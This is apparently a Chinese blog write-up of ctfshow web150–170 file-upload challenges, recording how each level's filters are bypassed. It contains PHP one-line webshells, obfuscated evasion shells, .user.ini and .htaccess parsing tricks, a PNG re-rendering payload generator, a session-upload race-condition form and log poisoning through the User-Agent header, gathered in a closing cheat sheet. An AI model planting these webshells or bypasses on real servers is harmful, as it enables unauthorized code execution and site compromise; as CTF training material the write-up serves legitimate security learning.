ctfshow_web 入门 文件上传

文件上传

还是是一边学习一边做笔记的文章,由于是学习,所以会显得啰嗦
还请各位师傅担待~
如果有不正确的地方,请师傅们斧正谢谢师傅们

web150

火狐关闭js的插件一旦开启,就没法点击上传按钮了。

而且这里没法上传.php .jpg等后缀文件,只能选择png格式图片。所以只能以够抓包然后修改内容的方式上传图片马。

同时,一旦图片格式满足,就自动上传了。

打开burp开启,然后上传一张png格式图片,在burp抓的包中添加一句话木马<?php eval($_POST['cmd']);?>,修改图片后缀为.php上传

访问对应网页即可

web151

同web150

web152

首先尝试上传php后缀文件,发现不行。所以上传.user.ini配置文件,因为是nginx系统,所以配置文件是.user.ini.htaccess和.user.ini配置文件妙用

同样,上传png文件,burp抓包修改文件信息(将信息传入repeater之后可以反复修改,反复提交),文件名修改为.user.ini,内容添加auto_prepend_file=meima.png。再上传一个名为meima.png的图片马即可

image-20210807150600455

最后访问/url/upload/index.php,用cmd=system('tac /var/www/html/f*');输入命令获取flag就好

image-20210807151258988

web 154

同样,先上传.user.ini,内容auto_prepend_file=meima.png,接着上传名为meima.png的图片马。

就可以利用上一关的repeater中的数据包,将host给修改一下就可以。

.user.ini

auto_prepend_file=meima.png

image-20210807153227535

同时,图片马:

meima.png

<?= eval($_POST['cmd']);?>

image-20210807152641592

同样,在火狐中,将host给修改一下,继续执行即可,命令都不需要改

image-20210807153041430

web 155

嫖web154,操作完全一致

web 156

为啥我上传没有马的png也不行呢?哦,原来是文件内容太长了。

整一个短一点的马儿或者是将抓到的包的信息给改少一点。

过滤了[],用{}进行绕过

image-20210807182642872

image-20210807183148199

因为之前上传过一次

<? `tac /var/www/html/f*`;?>	也可能是没有加echo,这个有点不太清楚

但是显示结果却是:no thing here ,所以这里打算复盘一下,用webshell,写一个php文件进去测试;最后用蚁剑连接之后发现,创建了文件,但是文件中没有内容

image-20210807184821024

最后可以直接用蚁剑写入文件,

image-20210807184945346

所以说,在``之前是需要加上echo 的;

``相当于是shell_exec()函数

image-20210807191103765

同样,也可以直接从burp中修改命令,然后反复上传以达到目的,原来的文件会被替换掉

image-20210807191425909

web 157

额,看样子貌似是过滤了,可以上传拿到flag

<? echo `tac /var/www/html/f*`?>

PHP最后一句可以不用加;,貌似只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的

image-20210807193356080

web 158

用157的方法,直接拿下

web 159

貌似过滤了system或者()

用157的方法,直接拿下

web 160

这个题过滤了空格 ()

额,还记得文件包含的web82不,那个上传session文件的解题方式,这题也用那个方式

一共要准备四个包;

一个上传.user.ini文件上传包,一个1.png文件上传包;一个url/upload/index.php反复请求包,一个session反复上传包;

image-20210807203611184

image-20210807203625994

接着条件竞争,

一个burp一直请求/url/upload/index.php

image-20210807203939624

另一边,一直上传文件

image-20210807204104495

访问/url/test1.php,如果有页面就成功,没有就失败,重来一次就行

image-20210807205253377

拿到flag

image-20210807205208700

Firebasky师傅的wp中提到,auto_prepend_file的配置相当于文件包含。

web 161

有文件头的一个判断,选择GIF89a的文件头,比较方便记忆与绕过

顺带看一下,图片有没有被修改,发现,(我们的图安然无恙!)

image-20210807215929003

在文件头前面加上GIF89a,然后就可以白嫖web160的方法了

image-20210807220408711

方法二:日志包含

在user-agent中加入一句话木马,然后在图片中加入引入日志文件的代码

image-20210807220919490

在配置文件.user.ini中,将auto_prepend_file设置为:1.png

image-20210807220855505

接着访问url/upload/index.php,那么就会执行1.png的代码,由于1.png引入日志文件,那么日志文件中的一句话木马就会被执行

image-20210807221414057

突然想问一句,既然auto_prepend_file能进行文件包含,那么是不是可以直接从auto_prepend_file入手日志文件呢?不行

image-20210807221702116

web 162

过滤了.,但是发现,可以直接上传,可以白嫖上面的方法,上传文件1的时候,文件内容一定要少

image-20210807222921462

web 163

发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入

image-20210811111316789

image-20210811111550502

所以所以这里就卡了很久,但是依旧没有上传请求成功

web 164(png图片二次渲染)

这个题怎么说呢,没有发现有一个download.php文件,所以也就不知道怎么去做。

所以我这里也就直接照搬做出来的大佬的笔记了

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #保存在本地的图片马
?>

image-20210811160416041

上传图片成功之后,访问url/download.php?iamge=xxxx&0=system post传入:1=cat flag.php

就可以得到flag

image-20210811160546652

web 165

jpg图片渲染用164脚本依旧可行,只是我这里一直上传不了

web 166

上传zip文件,在zip文件中写入一句话,通过download.php进行下载,然后rce

由于下载时是GET方式,所以之类马儿里也用的get方式

image-20210812110853914

image-20210812110836572

这里注意到download.php,就顺带看了一下,因为最之前不知道如何通过download.php进行文件包含的,哦~原来里面有一个include($file)

web 167

看到httpd,想到是不是Apache。于是F12通过network查看,image-20210812112155019

上传.htaccess,这题需要上传jpg格式的马儿,同时写入

AddType application/x-httpd-php .jpg

?为什么我开的题目环境一直出问题???

image-20210812112931802

不过按理来说,访问/url/upload/1.jpg即可;

原来是配置文件解析错误,上传的配置文件中,只写一句和解析有关的就够了,多余的删除,否则会有500的错误

image-20210812113614137

image-20210812113843613

大佬的wp

image-20210812113948471

web 168

可以直接上传.php文件

image-20210812114950912

查看flag,反引号是shell_exec()函数的简写;需要用echo来进行输出

看了羽师傅博客,又l了解到了很多:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web 169

直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含

同时,上传时,需要burp抓包上传,上传zip文件,并且将file_content修改为image/png才能成功上传

在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>

上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log

上传一个1.php文件,内容随便写123,因为url/upload/目录下没有文件,所以需要写一个文件来承接.user.ini

接着就可以访问/url/upload/1.php,然后rce

也可以用蚁剑连接,方便找flag。

web 170

同上

解题

上传配置文件,然后传马

马儿内容

短标签马儿:
	一般的马儿:
<?php eval($_POST['cmd']);?>
	没有PHP的马儿
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
	有PHP的马儿
<script language="php"></script>

特殊马儿:
	过滤[]:用{}代替
	<?= eval($_POST['cmd']);?>

直接拿flag的变形马儿
	<? echo `tac /var/www/html/f*`;?>
	<? echo `tac /var/www/html/f*`?>
	
免杀马儿:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

上传配置文件,上传sessionid的马儿

.user.ini文件中写入auto_prepend_file=1.png

1.png中写入<?include"/tmp/sess_test"?>,此处sess_test中的test是PHPSESSIDd的值

uplaod_session.php

<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此处代码,抓包后在cookie位置添加:PHPSESSID=test

格式

GIF89a

注意:

发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入

image-20210811111316789

image-20210811111550502

谢谢师傅们观看~

原文地址:https://www.cnblogs.com/upstream-yu/p/15375912.html